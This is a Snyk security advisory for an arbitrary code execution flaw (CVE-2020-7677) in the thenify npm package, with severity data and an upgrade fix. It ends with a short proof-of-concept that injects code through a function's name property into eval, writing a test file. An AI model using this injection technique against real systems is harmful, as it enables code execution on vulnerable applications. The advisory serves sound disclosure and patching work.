Arbitrary Code Execution Affecting org.webjars.npm:thenify package, versions [0,3.3.1)


Severity

Recommended
0.0
high
0
10

CVSS assessment made by Snyk's Security Team. Learn more

Threat Intelligence

Exploit Maturity
Proof of concept
EPSS
0.4% (75th percentile)

Do your applications use this vulnerable package?

In a few clicks we can analyze your entire application and see what components are vulnerable in your application, and suggest you quick fixes.

Test your applications

Snyk Learn

Learn about Arbitrary Code Execution vulnerabilities in an interactive lesson.

Start learning
  • Snyk IDSNYK-JAVA-ORGWEBJARSNPM-572317
  • published15 Jun 2020
  • disclosed15 Jun 2020
  • creditJHU System Security Lab

Introduced: 15 Jun 2020

CVE-2020-7677  (opens in a new tab)
CWE-78  (opens in a new tab)

How to fix?

Upgrade org.webjars.npm:thenify to version 3.3.1 or higher.

Overview

org.webjars.npm:thenify is a Promisify a callback-based function using any-promise.

Affected versions of this package are vulnerable to Arbitrary Code Execution. The name argument provided to the package can be controlled by users without any sanitization, and this is provided to the eval function without any sanitization.

PoC

var a = require("thenify");
var attack_code = "fs=require('fs');fs.writeFile('Song', 'test',function(){})";
function cur(){};
Object.defineProperty(cur, "name", { value: "fake() {" + attack_code + ";})();(function(){//"});
a(cur);

CVSS Scores

version 3.1